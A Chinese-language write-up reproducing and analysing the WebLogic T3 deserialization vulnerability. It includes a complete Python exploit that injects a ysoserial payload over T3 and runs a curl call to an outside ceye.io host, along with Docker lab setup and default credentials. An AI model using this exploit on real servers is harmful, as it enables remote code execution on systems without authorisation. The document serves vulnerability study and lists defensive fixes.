Java weblogic-T3协议漏洞
字数 1456 2025-08-29 08:32:01
WebLogic T3协议漏洞分析与复现
0x01 WebLogic简介
WebLogic是美国Oracle公司出品的一个application server,确切地说是一个基于JAVAEE架构的中间件。它用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器,将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
0x02 T3协议基础
T3协议是WebLogic用于通信的协议,类似于RMI的JRMP,都是一对一的模式。T3协议在传输序列化数据时分为几个部分:
- 协议头:格式为
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n,发送后会获得一个包含WebLogic版本号的response
攻击手段主要分为两种:
- 将WebLogic发送的Java序列化数据的第二到九部分的任意一个替换为恶意的序列化数据
- 将WebLogic发送的Java序列化数据的第一部分与恶意的序列化数据进行拼接
0x03 环境搭建
使用Docker搭建环境
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz \
--build-arg WEBLOGIC_JAR=wls1036_generic.jar \
-t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 \
--name weblogic1036jdk7u21 weblogic1036jdk7u21
访问地址:http://localhost:7001/console/login/LoginForm.jsp
- 默认用户名:
weblogic - 默认密码:
qaxateam01
远程调试配置
- 导出WebLogic的依赖jar包
- 运行脚本开启debug模式(端口8453)
- 在IDEA中配置远程调试
0x04 漏洞复现
使用Python EXP
import socket
import sys
import struct
import re
import subprocess
import binascii
def get_payload1(gadget, command):
JAR_FILE = 'ysoserial.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()
def get_payload2(path):
with open(path, "rb") as f:
return f.read()
def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return
print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") # 数据包长度占位
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
flag = binascii.a2b_hex(b"fe010000") # 反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] # 重新计算数据包长度
sock.send(payload)
if __name__ == "__main__":
host = "192.168.24.129"
port = 7001
gadget = "Jdk7u21" # 或 CommonsCollections1
command = "curl http://4z65as.ceye.io/"
payload = get_payload1(gadget, command)
exp(host, port, payload)
验证漏洞
- 执行EXP后会显示WebLogic版本号
- 在ceye网站上可以看到命令执行成功
0x05 漏洞分析
反序列化入口点
反序列化发生在InboundMsgAbbrev类的readObject方法中,该方法调用了ServerChannelInputStream的readObject方法。
ServerChannelInputStream继承了ObjectInputStream,但没有重写readObject方法,resolveClass方法也是调用的父类方法。
原生readObject分析
import java.io.*;
public class originReadObject implements Serializable {
public int age;
public String name;
originReadObject(int age, String name) {
this.age = age;
this.name = name;
}
// ... getter和setter方法省略
public static void main(String[] args) throws Exception {
originReadObject oro = new originReadObject(19, "crilwa");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(oro);
ObjectInputStream ois = new ObjectInputStream((new FileInputStream("1.ser")));
ois.readObject();
}
}
反序列化流程
- 进入
readObject0方法,读取数据流的第一个字节 - 根据字节值进入不同的case分支(TC_OBJECT对应115)
- 调用
readOrdinaryObject方法 - 调用
readClassDesc方法读取类描述符 - 进入
readNonProxyDesc方法 - 调用
resolveClass方法将类的序列化描述符加工成该类的Class对象- 使用
sun.misc.VM.latestUserDefinedLoader()作为类加载器
- 使用
- 判断是否重写了
readObject方法- 如果重写,调用
invokeReadObject - 否则调用
defaultReadFields
- 如果重写,调用
WebLogic修复方式
WebLogic后续通过重写resolveClass方法来实现反序列化攻击的防御,在resolveClass方法中添加了类名白名单校验等安全措施。
总结
WebLogic T3协议漏洞的核心在于:
- T3协议传输过程中对序列化数据缺乏有效验证
- WebLogic默认配置中存在危险的反序列化点
- 攻击者可以通过构造恶意序列化数据实现远程代码执行
防御措施包括:
- 升级到最新版本
- 关闭不必要的T3协议服务
- 配置反序列化过滤器
- 限制网络访问权限